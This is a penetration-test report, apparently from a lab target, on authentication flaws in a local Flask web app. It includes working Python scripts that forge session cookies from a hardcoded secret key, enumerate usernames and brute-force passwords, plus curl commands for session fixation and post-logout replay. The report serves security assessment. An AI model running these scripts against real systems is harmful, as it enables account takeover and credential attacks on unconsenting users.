# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-04: Session Forgery via Weak Secret Key

**Summary:**
- **Vulnerable location:** Flask session cookie signing mechanism (`app/__init__.py:11`)
- **Overview:** Complete authentication bypass by forging session cookies using the hardcoded weak secret key `'your_secret_key'`
- **Impact:** Any attacker can impersonate any user without credentials, achieving complete account takeover
- **Severity:** CRITICAL

**Prerequisites:**
- Knowledge of the weak secret key: `'your_secret_key'`
- Python with Flask library installed

**Exploitation Steps:**

1. Create a Python script to forge Flask session cookies:
```python
from flask.sessions import SecureCookieSessionInterface
from flask import Flask

SECRET_KEY = 'your_secret_key'
PAYLOAD = {'user_id': 10032}  # Target user ID

app = Flask(__name__)
app.secret_key = SECRET_KEY
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(app)
forged_cookie = serializer.dumps(PAYLOAD)
print(f"Forged cookie: {forged_cookie}")
```

2. Execute the script to generate forged session cookie:
```bash
python3 forge_session.py
```

Output:
```
Forged cookie: eyJ1c2VyX2lkIjoxMDAzMn0.aQJLkw.G_vN7rMPblvzl3mCx7N0HlrDNCQ
```

3. Use the forged cookie to access protected resources:
```bash
curl -H "Cookie: session=eyJ1c2VyX2lkIjoxMDAzMn0.aQJLkw.G_vN7rMPblvzl3mCx7N0HlrDNCQ" \
  http://localhost:36493/dashboard
```

**Proof of Impact:**
- Successfully accessed dashboard as user "John Doe" (test user, ID 10032)
- Response: `Welcome, John Doe`
- Complete authentication bypass achieved without any legitimate credentials
- Can forge cookies for any user ID to impersonate any account

**Notes:**
This is the most critical authentication vulnerability. The hardcoded weak secret key enables trivial session forgery, bypassing all authentication controls. An attacker needs zero interaction with the application to create valid session tokens.

---

### AUTH-VULN-11: Default Test Credentials

**Summary:**
- **Vulnerable location:** Hardcoded test account creation (`app/__init__.py:26-38`)
- **Overview:** Default credentials `test:test` provide immediate authenticated access
- **Impact:** Instant account takeover without brute force or exploitation required
- **Severity:** CRITICAL

**Prerequisites:** None

**Exploitation Steps:**

1. Navigate to the login page:
```bash
curl http://localhost:36493/
```

2. Submit username in first authentication stage:
```bash
curl -X POST http://localhost:36493/ -d "username=test"
```

Response: HTTP 302 redirect to `/password/test`

3. Submit password in second authentication stage:
```bash
curl -X POST http://localhost:36493/password/test -d "password=test" -c cookies.txt
```

Response: HTTP 302 redirect to `/dashboard?username=test` with session cookie set

4. Access authenticated resources:
```bash
curl -b cookies.txt http://localhost:36493/dashboard
```

**Proof of Impact:**
- Successfully authenticated as user "John Doe"
- Dashboard displays: "Welcome, John Doe"
- Access to protected endpoints: `/orders`, `/orders_archive`, `/order/*/receipt`
- Complete account takeover of test user account

**Notes:**
Credentials explicitly documented in HTML comment at `login.html:1`: `<!-- TODO: Delete the testing account (test:test). -->`

---

### AUTH-VULN-12: User Enumeration via Error Messages

**Summary:**
- **Vulnerable location:** Login endpoint (`routes.py:20-33`)
- **Overview:** Different error messages and HTTP responses reveal valid vs invalid usernames
- **Impact:** Attackers can enumerate all valid usernames to build target lists for credential attacks
- **Severity:** HIGH

**Prerequisites:** None

**Exploitation Steps:**

1. Test with invalid username:
```bash
curl -X POST http://localhost:36493/ -d "username=nonexistentuser123"
```

Response: `User not found` (displayed on login page)

2. Test with valid username:
```bash
curl -X POST http://localhost:36493/ -d "username=test"
```

Response: HTTP 302 redirect to `/password/test`

3. Automated enumeration script testing 9 usernames in rapid succession:
```python
import requests

usernames = ['test', 'admin', 'administrator', 'root', 'user', 
             'john', 'alice', 'bob', 'invaliduser999']

for username in usernames:
    r = requests.post('http://localhost:36493/', 
                     data={'username': username}, 
                     allow_redirects=False)
    
    if r.status_code == 302:
        print(f"[VALID] {username}")
    elif "User not found" in r.text:
        print(f"[INVALID] {username}")
```

**Proof of Impact:**
- Successfully enumerated valid username: `test`
- Confirmed 8 invalid usernames: admin, administrator, root, user, john, alice, bob, invaliduser999
- No rate limiting encountered (all 9 attempts completed instantly)
- Built list of valid accounts for targeted password attacks

---

### AUTH-VULN-13: Information Disclosure Before Authentication

**Summary:**
- **Vulnerable location:** Password page (`routes.py:45-66`, `password.html:26,29`)
- **Overview:** User metadata disclosed before authentication completion
- **Impact:** Reveals first names, user IDs, and username confirmation without valid credentials
- **Severity:** HIGH

**Prerequisites:** Knowledge of a valid username (obtainable via AUTH-VULN-12)

**Exploitation Steps:**

1. Access password page directly with valid username:
```bash
curl http://localhost:36493/password/test
```

2. Extract disclosed information from response:
```bash
curl -s http://localhost:36493/password/test | grep -E "Welcome|user_id"
```

**Proof of Impact:**
Response reveals:
```html
<p class="mt-3 text-center">Welcome, John!</p>
<input type="text" class="form-control" id="user_id" name="user_id" value="10032" hidden>
```

Disclosed information without authentication:
- First name: "John"
- User ID: 10032
- Username confirmation: "test" (in URL)

**Notes:**
This information aids social engineering attacks and reveals internal user ID structure (sequential integers).

---

### AUTH-VULN-07: No Rate Limiting on Login Endpoint

**Summary:**
- **Vulnerable location:** Login endpoint (`routes.py:20-33`)
- **Overview:** Unlimited username enumeration and brute force attempts without throttling
- **Impact:** Enables automated username discovery and credential stuffing at high speed
- **Severity:** HIGH

**Prerequisites:** None

**Exploitation Steps:**

1. Execute rapid-fire login attempts:
```python
import requests
import time

start = time.time()
attempts = 50

for i in range(attempts):
    r = requests.post('http://localhost:36493/', 
                     data={'username': f'testuser{i}'})

duration = time.time() - start
print(f"Completed {attempts} attempts in {duration:.2f} seconds")
print(f"Rate: {attempts/duration:.2f} requests/second")
```

**Proof of Impact:**
Results from automated testing:
- **Total attempts:** 50
- **Duration:** 0.14 seconds
- **Rate:** 345.49 requests per second
- **Success rate:** 100% (no throttling, no failures)
- **Average response time:** 0.003 seconds

No protective mechanisms observed:
- No HTTP 429 (Too Many Requests)
- No progressive delays
- No CAPTCHA challenges
- No IP-based blocking
- No account lockout

---

### AUTH-VULN-08: No Rate Limiting on Password Endpoint

**Summary:**
- **Vulnerable location:** Password verification endpoint (`routes.py:45-66`)
- **Overview:** Unlimited password guessing attempts without throttling or lockout
- **Impact:** Enables high-speed password brute force attacks against known usernames
- **Severity:** HIGH

**Prerequisites:** Valid username (obtainable via AUTH-VULN-12)

**Exploitation Steps:**

1. Execute password brute force attack:
```python
import requests
import time

passwords = ['test', 'password', 'admin', '123456', 'password123', 
             'letmein', 'qwerty', 'welcome', 'monkey', 'dragon',
             'baseball', 'iloveyou', 'trustno1', 'sunshine', 'master',
             'welcome1', 'football', 'shadow', 'michael', 'jennifer',
             'abc123', '12345678', 'password1', 'secret', 'superman']

start = time.time()

for pwd in passwords:
    r = requests.post('http://localhost:36493/password/test',
                     data={'password': pwd},
                     allow_redirects=False)
    
    if r.status_code == 302 and 'dashboard' in r.headers.get('Location', ''):
        print(f"[SUCCESS] Password found: {pwd}")
        break

duration = time.time() - start
```

**Proof of Impact:**
Results from automated testing:
- **Passwords tested:** 25
- **Duration:** 0.0991 seconds
- **Rate:** 252.36 passwords per second
- **Correct password found:** `test` (on attempt #1)
- **No throttling detected**

Attack scalability:
- With 252 passwords/second, can test common password lists:
  - Top 1,000 passwords: ~4 seconds
  - Top 10,000 passwords: ~40 seconds
  - Top 100,000 passwords: ~7 minutes
- Parallel connections could achieve 1000+ passwords/second

---

### AUTH-VULN-03: Session Fixation

**Summary:**
- **Vulnerable location:** Session management (`routes.py:57`)
- **Overview:** Session IDs not rotated after authentication
- **Impact:** Attackers can fix a victim's session ID before authentication, then hijack after login
- **Severity:** HIGH

**Prerequisites:** None

**Exploitation Steps:**

1. Attacker obtains a session cookie before authentication
2. Victim authenticates with the attacker-controlled session cookie
3. Attacker's session becomes authenticated as the victim

Demonstration via automated script:
```python
import requests

# Step 1: Create session before authentication
session = requests.Session()
r1 = session.get('http://localhost:36493/')
pre_auth_cookies = session.cookies.get_dict()
print(f"Pre-auth cookies: {pre_auth_cookies}")

# Step 2: Authenticate with same session
r2 = session.post('http://localhost:36493/', 
                  data={'username': 'test'})
r3 = session.post('http://localhost:36493/password/test',
                  data={'password': 'test'})

post_auth_cookies = session.cookies.get_dict()
print(f"Post-auth cookies: {post_auth_cookies}")

# Step 3: Verify same session token grants access
r4 = session.get('http://localhost:36493/dashboard')
print(f"Dashboard access: {r4.status_code}")
```

**Proof of Impact:**
- Session cookie created after authentication: `eyJ1c2VyX2lkIjoxMDAzMn0.aQJNxQ.qyuHmOreSFJBjQZyPTn3BtLYIPw`
- Session cookie does NOT rotate when authentication occurs
- Stolen/fixed session cookies remain valid after victim authentication
- Successfully accessed `/dashboard` with fixed session (HTTP 200)

**Notes:**
Flask does not automatically rotate session IDs. The application sets `session['user_id'] = user.id` without calling `session.regenerate()` or `session.clear()` first.

---

### AUTH-VULN-05: Incomplete Session Invalidation on Logout

**Summary:**
- **Vulnerable location:** Logout handler (`routes.py:37-41`)
- **Overview:** Logout only removes `user_id` from session but doesn't invalidate the session server-side
- **Impact:** Session cookies remain valid after logout, enabling session replay attacks
- **Severity:** HIGH

**Prerequisites:** Valid authenticated session

**Exploitation Steps:**

1. Authenticate and capture session cookie:
```bash
# Authenticate
curl -c session.txt -X POST http://localhost:36493/ -d "username=test" -L
curl -b session.txt -c session.txt -X POST http://localhost:36493/password/test -d "password=test" -L
```

2. Verify authenticated access before logout:
```bash
curl -b session.txt http://localhost:36493/dashboard
```

Response: HTTP 200 with "Welcome, John Doe"

3. Perform logout:
```bash
curl -b session.txt -c session_after_logout.txt -X POST http://localhost:36493/logout -L
```

4. Attempt to access dashboard with OLD session cookie:
```bash
curl -b session.txt http://localhost:36493/dashboard
```

**Proof of Impact:**
- **Before logout:** Dashboard accessible (HTTP 200, 2139 bytes)
- **Logout executed:** POST /logout returned 302 redirect
- **After logout:** Dashboard STILL accessible with old cookie (HTTP 200, 2139 bytes)
- Session remained valid server-side despite logout

**Notes:**
The logout implementation only executes `session.pop('user_id', None)` which removes the user_id key from the session cookie but does not invalidate the session on the server. Since Flask uses client-side signed sessions, there is no server-side session store to invalidate.

---

### AUTH-VULN-06: No Session Timeout

**Summary:**
- **Vulnerable location:** Application configuration (`app/__init__.py`)
- **Overview:** No session timeout mechanism implemented
- **Impact:** Captured session cookies remain valid indefinitely
- **Severity:** MEDIUM

**Prerequisites:** Valid session cookie

**Exploitation Steps:**

Session cookies remain valid until:
- Explicit logout (which we've proven is incomplete via AUTH-VULN-05)
- Browser closure (browser session only)
- Never expires server-side

**Proof of Impact:**
Code analysis confirms:
- No `PERMANENT_SESSION_LIFETIME` configuration in `__init__.py`
- No `SESSION_PERMANENT` setting
- No idle timeout checks
- No absolute timeout enforcement

Practical demonstration:
```bash
# Create session
curl -c cookies.txt -X POST http://localhost:36493/ -d "username=test" -L
curl -b cookies.txt -c cookies.txt -X POST http://localhost:36493/password/test -d "password=test" -L

# Session cookie remains valid indefinitely
# Test after arbitrary delay:
sleep 60
curl -b cookies.txt http://localhost:36493/dashboard
```

Session cookie continues to work without time-based expiration.

**Notes:**
Combined with AUTH-VULN-05 (incomplete logout), this means stolen sessions can be used indefinitely by attackers.

---

## Out of Scope Vulnerabilities (Cannot Be Exploited Externally)

### AUTH-VULN-01: HTTP-Only Transport

**Classification:** OUT_OF_SCOPE_INTERNAL

**Reason:**
Requires man-in-the-middle network positioning to intercept HTTP traffic. Cannot be exploited from external network location targeting localhost:36493.

**What would be required:**
- Network access to same segment as client/server
- ARP spoofing, DNS poisoning, or network tap
- Tools like Wireshark, ettercap with physical/internal network access

**External exploitability:** NONE

---

### AUTH-VULN-02: Missing Secure Flag on Session Cookies

**Classification:** OUT_OF_SCOPE_INTERNAL

**Reason:**
Requires network interception capability (consequence of AUTH-VULN-01). Cannot capture cookies without MITM positioning.

**External exploitability:** NONE

---

### AUTH-VULN-09: Plaintext Password Storage

**Classification:** OUT_OF_SCOPE_INTERNAL

**Reason:**
Requires direct database access to view plaintext passwords stored in MySQL.

**Why this cannot be exploited externally:**
- SQL injection properly mitigated by SQLAlchemy ORM
- No database console exposed via HTTP endpoints
- Database port 3306 internal to Docker network only
- No backup files or dumps accessible via web interface

**External exploitability:** NONE

---

### AUTH-VULN-10: Weak Password Policy

**Classification:** OUT_OF_SCOPE_INTERNAL

**Reason:**
No user registration endpoint exists to exploit weak password policy.

**Why this cannot be exploited externally:**
- No `/signup`, `/register`, or account creation endpoints
- All users pre-created via database initialization
- No HTTP endpoint accepts new password input
- Cannot create weak password accounts via web interface

**Note:** Existing weak passwords (test:test) already covered by AUTH-VULN-11.

**External exploitability:** NONE

---

### AUTH-VULN-14: Broken Cache-Control Headers

**Classification:** OUT_OF_SCOPE_INTERNAL

**Reason:**
No caching infrastructure exists between attacker and target to exploit.

**Why this cannot be exploited externally:**
- No CDN configured
- No reverse proxy with caching
- No shared proxy infrastructure
- Direct connection to application server

**Confirmed misconfiguration:**
```
Cache-Control: public, max-age=0
```

**External exploitability:** NONE
